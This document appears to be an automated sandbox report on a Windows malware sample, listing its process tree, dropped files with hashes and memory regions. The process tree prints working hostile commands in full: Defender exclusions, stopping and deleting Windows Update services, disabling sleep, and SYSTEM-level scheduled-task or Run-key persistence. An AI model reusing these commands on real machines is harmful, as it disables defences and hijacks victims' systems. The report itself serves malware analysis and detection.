C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe zuhwtyqtfkk2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe ozascextlcafxrlv 6E3sjfZq2rJQaxvLPmXgsH8HqLgRgcx0/LVDxBdghhCp2+hEkY7tykSHwITYgOlci3ytMC8bvXFdgLfubt31d00EGUNZvUBUebLdyQcn06lc9XyK+SQQg4bEvwPCdT2KYoSnyaznjkuq+t/WEmnCxetIZsxpO3p/zzwJI2q0v1rwbWjqgzbDndc3ETa3aKYf8EOpU9uqIUcKKIP5glSGIF5NNBIQIOxiwAszeRmTD+ssM2JwNB+ZJXRJvy123U7UEXSTx71FLoxpDYVaIMhOE++Mr3hazCz1q4t4s5o8+wL0kdpUV5VnrG7JmlnWotU5n89qBghGm+y6SMYnw4GovlYYIKPio/EJCBO4ISkMSM9oXvdK2xwDd7nOPHNI0ub2+9+yDpmbkJhXPRjLmh8EzH9no+cA8XXsDqc7l4Il6Q8HZCkxxQKp3X7QrvGtORgpsiUFRUsjuuqKF8OZDBQ643uz5XTg02QKOJfFPdU0JLRX+q6NZJdak+3EYZdI36Zgtv5L8IJAttmNYCJqIJTseVMH04bRJ5WBnXqRYehi2MM0O1YRQDI8kKVhBta2xSurnVpcEWelFYwmZuF8Vd3YhHb8yAOoY//KgjosTtbU5Co=2⤵
-
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exeC:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe1⤵
- Executes dropped EXE
-
C:\Program Files\Notepad\Chrome\updater.exe"C:\Program Files\Notepad\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 360 -p 3872 -ip 38721⤵
-
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exeC:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exeC:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\Google\Libs\g.logFilesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
-
C:\Program Files\Notepad\Chrome\updater.exeFilesize
3.7MB
MD53006b49f3a30a80bb85074c279acc7df
SHA1728a7a867d13ad0034c29283939d94f0df6c19df
SHA256f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280
SHA512e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd
-
C:\Program Files\Notepad\Chrome\updater.exeFilesize
3.7MB
MD53006b49f3a30a80bb85074c279acc7df
SHA1728a7a867d13ad0034c29283939d94f0df6c19df
SHA256f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280
SHA512e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD5e8ce785f8ccc6d202d56fefc59764945
SHA1ca032c62ddc5e0f26d84eff9895eb87f14e15960
SHA256d85c19fc6b9d25e2168a2cc50ff38bd226fbf4f02aa7ac038a5f319522d2ffa4
SHA51266460aec4afee582556270f8ee6048d130a090f1c12a2632ed71a99a4073e9931e9e1cc286e32debffb95a90bd955f0f0d6ec891b1c5cd2f0aae41eb6d25832f
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD574ee9daa9ad841b62b3915169bb81416
SHA14c561ccb795f4a835c9f3f50152a9e5b87842a9e
SHA2561b7c7af4b261aa952e61b905c9b7f38d699b010feff41ea6419ce956afcf7163
SHA512fc91535235f56b7402fa16a5a2892365e492a93adbc512175fe7a5bbcca7bb71a788c07cd6fe196c27b4d777c4e921b32e48d4b2f1a2486e8a43125a14096378
-
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exeFilesize
244KB
MD543a3e1c9723e124a9b495cd474a05dcb
SHA1d293f427eaa8efc18bb8929a9f54fb61e03bdd89
SHA256619bbbc9e9ddd1f6b7961cacb33d99c8f558499a33751b28d91085aab8cb95ab
SHA5126717d6be0f25d66ba3689b703b9f1360c172138faa0172168c531f55eb217050c03a41396b7a440e899974d71c2f42b41d07db0ef97751c420facfae1550bfa7
-
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exeFilesize
244KB
MD543a3e1c9723e124a9b495cd474a05dcb
SHA1d293f427eaa8efc18bb8929a9f54fb61e03bdd89
SHA256619bbbc9e9ddd1f6b7961cacb33d99c8f558499a33751b28d91085aab8cb95ab
SHA5126717d6be0f25d66ba3689b703b9f1360c172138faa0172168c531f55eb217050c03a41396b7a440e899974d71c2f42b41d07db0ef97751c420facfae1550bfa7
-
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exeFilesize
244KB
MD543a3e1c9723e124a9b495cd474a05dcb
SHA1d293f427eaa8efc18bb8929a9f54fb61e03bdd89
SHA256619bbbc9e9ddd1f6b7961cacb33d99c8f558499a33751b28d91085aab8cb95ab
SHA5126717d6be0f25d66ba3689b703b9f1360c172138faa0172168c531f55eb217050c03a41396b7a440e899974d71c2f42b41d07db0ef97751c420facfae1550bfa7
-
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exeFilesize
244KB
MD543a3e1c9723e124a9b495cd474a05dcb
SHA1d293f427eaa8efc18bb8929a9f54fb61e03bdd89
SHA256619bbbc9e9ddd1f6b7961cacb33d99c8f558499a33751b28d91085aab8cb95ab
SHA5126717d6be0f25d66ba3689b703b9f1360c172138faa0172168c531f55eb217050c03a41396b7a440e899974d71c2f42b41d07db0ef97751c420facfae1550bfa7
-
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exeFilesize
244KB
MD543a3e1c9723e124a9b495cd474a05dcb
SHA1d293f427eaa8efc18bb8929a9f54fb61e03bdd89
SHA256619bbbc9e9ddd1f6b7961cacb33d99c8f558499a33751b28d91085aab8cb95ab
SHA5126717d6be0f25d66ba3689b703b9f1360c172138faa0172168c531f55eb217050c03a41396b7a440e899974d71c2f42b41d07db0ef97751c420facfae1550bfa7
-
C:\Users\Admin\AppData\Local\Temp\529757233348Filesize
83KB
MD5a88385bf59642e2bfeaabf016758c7e8
SHA117a890f1ade3a146c1381b7c6f1130d7913efac2
SHA25678cc6499f8236c26b8f29f0c66c0d984fd18a6fc99e27acd82b95e82d610f601
SHA51286fc8df8aad244fc170f5e01e730a4c3e1daf8b5b12b55e317286019b62beda55cdd2eda816fa67c0da47d7b3c6c2845a28cf3fd27b10a8fce254d08672a19e4
-
C:\Users\Admin\AppData\Local\Temp\Player3.exeFilesize
244KB
MD543a3e1c9723e124a9b495cd474a05dcb
SHA1d293f427eaa8efc18bb8929a9f54fb61e03bdd89
SHA256619bbbc9e9ddd1f6b7961cacb33d99c8f558499a33751b28d91085aab8cb95ab
SHA5126717d6be0f25d66ba3689b703b9f1360c172138faa0172168c531f55eb217050c03a41396b7a440e899974d71c2f42b41d07db0ef97751c420facfae1550bfa7
-
C:\Users\Admin\AppData\Local\Temp\Player3.exeFilesize
244KB
MD543a3e1c9723e124a9b495cd474a05dcb
SHA1d293f427eaa8efc18bb8929a9f54fb61e03bdd89
SHA256619bbbc9e9ddd1f6b7961cacb33d99c8f558499a33751b28d91085aab8cb95ab
SHA5126717d6be0f25d66ba3689b703b9f1360c172138faa0172168c531f55eb217050c03a41396b7a440e899974d71c2f42b41d07db0ef97751c420facfae1550bfa7
-
C:\Users\Admin\AppData\Local\Temp\Player3.exeFilesize
244KB
MD543a3e1c9723e124a9b495cd474a05dcb
SHA1d293f427eaa8efc18bb8929a9f54fb61e03bdd89
SHA256619bbbc9e9ddd1f6b7961cacb33d99c8f558499a33751b28d91085aab8cb95ab
SHA5126717d6be0f25d66ba3689b703b9f1360c172138faa0172168c531f55eb217050c03a41396b7a440e899974d71c2f42b41d07db0ef97751c420facfae1550bfa7
-
C:\Users\Admin\AppData\Local\Temp\XandETC.exeFilesize
3.7MB
MD53006b49f3a30a80bb85074c279acc7df
SHA1728a7a867d13ad0034c29283939d94f0df6c19df
SHA256f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280
SHA512e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd
-
C:\Users\Admin\AppData\Local\Temp\XandETC.exeFilesize
3.7MB
MD53006b49f3a30a80bb85074c279acc7df
SHA1728a7a867d13ad0034c29283939d94f0df6c19df
SHA256f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280
SHA512e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd
-
C:\Users\Admin\AppData\Local\Temp\XandETC.exeFilesize
3.7MB
MD53006b49f3a30a80bb85074c279acc7df
SHA1728a7a867d13ad0034c29283939d94f0df6c19df
SHA256f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280
SHA512e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eyjlo3re.epp.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\ss31.exeFilesize
417KB
MD570336369523d7426108c4bf0cfad3845
SHA1902555b8c820df6c10d91599674af6b3123f9981
SHA256b14e0e157b905ca0b38eb97543a72959d8308fa649d37510d5e94c7b624a696b
SHA5129835440da55d4bd8c266d2964b08bf6b897ffc60f8d559e557560504a970aa02737fa5318c62a4a4ca1ca7b8571933c28cd09e74aec25104b408046617316945
-
C:\Users\Admin\AppData\Local\Temp\ss31.exeFilesize
417KB
MD570336369523d7426108c4bf0cfad3845
SHA1902555b8c820df6c10d91599674af6b3123f9981
SHA256b14e0e157b905ca0b38eb97543a72959d8308fa649d37510d5e94c7b624a696b
SHA5129835440da55d4bd8c266d2964b08bf6b897ffc60f8d559e557560504a970aa02737fa5318c62a4a4ca1ca7b8571933c28cd09e74aec25104b408046617316945
-
C:\Users\Admin\AppData\Local\Temp\ss31.exeFilesize
417KB
MD570336369523d7426108c4bf0cfad3845
SHA1902555b8c820df6c10d91599674af6b3123f9981
SHA256b14e0e157b905ca0b38eb97543a72959d8308fa649d37510d5e94c7b624a696b
SHA5129835440da55d4bd8c266d2964b08bf6b897ffc60f8d559e557560504a970aa02737fa5318c62a4a4ca1ca7b8571933c28cd09e74aec25104b408046617316945
-
C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\clip64.dllFilesize
89KB
MD5d3074d3a19629c3c6a533c86733e044e
SHA15b15823311f97036dbaf4a3418c6f50ffade0eb9
SHA256b1f486289739badf85c2266b7c2bbbc6c620b05a6084081d09d0911c51f7c401
SHA5127dd731fd26085d2a4f3963acd758a42a457e355117b50478bc053180cb189f5f3428806e29d29adfb96370067ff45e36950842de18b658524b72019027be62cf
-
C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\clip64.dllFilesize
89KB
MD5d3074d3a19629c3c6a533c86733e044e
SHA15b15823311f97036dbaf4a3418c6f50ffade0eb9
SHA256b1f486289739badf85c2266b7c2bbbc6c620b05a6084081d09d0911c51f7c401
SHA5127dd731fd26085d2a4f3963acd758a42a457e355117b50478bc053180cb189f5f3428806e29d29adfb96370067ff45e36950842de18b658524b72019027be62cf
-
C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\clip64.dllFilesize
89KB
MD5d3074d3a19629c3c6a533c86733e044e
SHA15b15823311f97036dbaf4a3418c6f50ffade0eb9
SHA256b1f486289739badf85c2266b7c2bbbc6c620b05a6084081d09d0911c51f7c401
SHA5127dd731fd26085d2a4f3963acd758a42a457e355117b50478bc053180cb189f5f3428806e29d29adfb96370067ff45e36950842de18b658524b72019027be62cf
-
C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dllFilesize
1.0MB
MD52c4e958144bd089aa93a564721ed28bb
SHA138ef85f66b7fdc293661e91ba69f31598c5b5919
SHA256b597b1c638ae81f03ec4baafa68dda316d57e6398fe095a58ecc89e8bcc61855
SHA512a0e3b82bbb458018e368cb921ed57d3720945e7e7f779c85103370a1ae65ff0120e1b5bad399b9315be5c3e970795734c8a82baf3783154408be635b860ee9e6
-
C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dllFilesize
1.0MB
MD52c4e958144bd089aa93a564721ed28bb
SHA138ef85f66b7fdc293661e91ba69f31598c5b5919
SHA256b597b1c638ae81f03ec4baafa68dda316d57e6398fe095a58ecc89e8bcc61855
SHA512a0e3b82bbb458018e368cb921ed57d3720945e7e7f779c85103370a1ae65ff0120e1b5bad399b9315be5c3e970795734c8a82baf3783154408be635b860ee9e6
-
C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dllFilesize
1.0MB
MD52c4e958144bd089aa93a564721ed28bb
SHA138ef85f66b7fdc293661e91ba69f31598c5b5919
SHA256b597b1c638ae81f03ec4baafa68dda316d57e6398fe095a58ecc89e8bcc61855
SHA512a0e3b82bbb458018e368cb921ed57d3720945e7e7f779c85103370a1ae65ff0120e1b5bad399b9315be5c3e970795734c8a82baf3783154408be635b860ee9e6
-
C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dllFilesize
1.0MB
MD52c4e958144bd089aa93a564721ed28bb
SHA138ef85f66b7fdc293661e91ba69f31598c5b5919
SHA256b597b1c638ae81f03ec4baafa68dda316d57e6398fe095a58ecc89e8bcc61855
SHA512a0e3b82bbb458018e368cb921ed57d3720945e7e7f779c85103370a1ae65ff0120e1b5bad399b9315be5c3e970795734c8a82baf3783154408be635b860ee9e6
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
-
memory/376-328-0x00007FF74FEF0000-0x00007FF74FF06000-memory.dmpFilesize
88KB
-
memory/1092-286-0x00000240FD3F0000-0x00000240FD3F8000-memory.dmpFilesize
32KB
-
memory/1092-287-0x00000240FD420000-0x00000240FD426000-memory.dmpFilesize
24KB
-
memory/1092-288-0x00000240FD430000-0x00000240FD43A000-memory.dmpFilesize
40KB
-
memory/1092-285-0x00000240FD440000-0x00000240FD45A000-memory.dmpFilesize
104KB
-
memory/1092-284-0x00000240FD3E0000-0x00000240FD3EA000-memory.dmpFilesize
40KB
-
memory/1092-283-0x00000240FD400000-0x00000240FD41C000-memory.dmpFilesize
112KB
-
memory/1092-282-0x00000240E3870000-0x00000240E387A000-memory.dmpFilesize
40KB
-
memory/1092-277-0x00000240E3850000-0x00000240E386C000-memory.dmpFilesize
112KB
-
memory/1092-278-0x00000240FD460000-0x00000240FD470000-memory.dmpFilesize
64KB
-
memory/1092-279-0x00000240FD460000-0x00000240FD470000-memory.dmpFilesize
64KB
-
memory/1092-280-0x00000240FD460000-0x00000240FD470000-memory.dmpFilesize
64KB
-
memory/1092-281-0x00007FF4CFC00000-0x00007FF4CFC10000-memory.dmpFilesize
64KB
-
memory/1176-196-0x0000021FC2E60000-0x0000021FC2E70000-memory.dmpFilesize
64KB
-
memory/1176-189-0x0000021FC2D90000-0x0000021FC2DB2000-memory.dmpFilesize
136KB
-
memory/1176-194-0x0000021FC2E60000-0x0000021FC2E70000-memory.dmpFilesize
64KB
-
memory/1176-195-0x0000021FC2E60000-0x0000021FC2E70000-memory.dmpFilesize
64KB
-
memory/2496-229-0x00000243490E0000-0x00000243490F0000-memory.dmpFilesize
64KB
-
memory/2496-254-0x00000243490E0000-0x00000243490F0000-memory.dmpFilesize
64KB
-
memory/2652-321-0x00007FF756780000-0x00007FF756B3D000-memory.dmpFilesize
3.7MB
-
memory/2652-253-0x00007FF756780000-0x00007FF756B3D000-memory.dmpFilesize
3.7MB
-
memory/3380-327-0x00007FF7303E0000-0x00007FF730BD4000-memory.dmpFilesize
8.0MB
-
memory/3380-326-0x00007FF7303E0000-0x00007FF730BD4000-memory.dmpFilesize
8.0MB
-
memory/3380-325-0x0000021E6DC00000-0x0000021E6DC20000-memory.dmpFilesize
128KB
-
memory/3620-133-0x0000000000B40000-0x0000000000FA4000-memory.dmpFilesize
4.4MB
-
memory/3960-298-0x000001D306560000-0x000001D306570000-memory.dmpFilesize
64KB
-
memory/3960-315-0x000001D306560000-0x000001D306570000-memory.dmpFilesize
64KB
-
memory/3960-317-0x000001D306569000-0x000001D30656F000-memory.dmpFilesize
24KB
-
memory/3960-314-0x00007FF4813B0000-0x00007FF4813C0000-memory.dmpFilesize
64KB
-
memory/3960-313-0x000001D306560000-0x000001D306570000-memory.dmpFilesize
64KB
-
memory/3960-297-0x000001D306560000-0x000001D306570000-memory.dmpFilesize
64KB
-
memory/4604-216-0x00007FF6EA580000-0x00007FF6EA93D000-memory.dmpFilesize
3.7MB
-
memory/4604-179-0x00007FF6EA580000-0x00007FF6EA93D000-memory.dmpFilesize
3.7MB
-
memory/4744-211-0x0000019627030000-0x0000019627040000-memory.dmpFilesize
64KB
-
memory/4744-212-0x0000019627030000-0x0000019627040000-memory.dmpFilesize
64KB
-
memory/4744-210-0x0000019627030000-0x0000019627040000-memory.dmpFilesize
64KB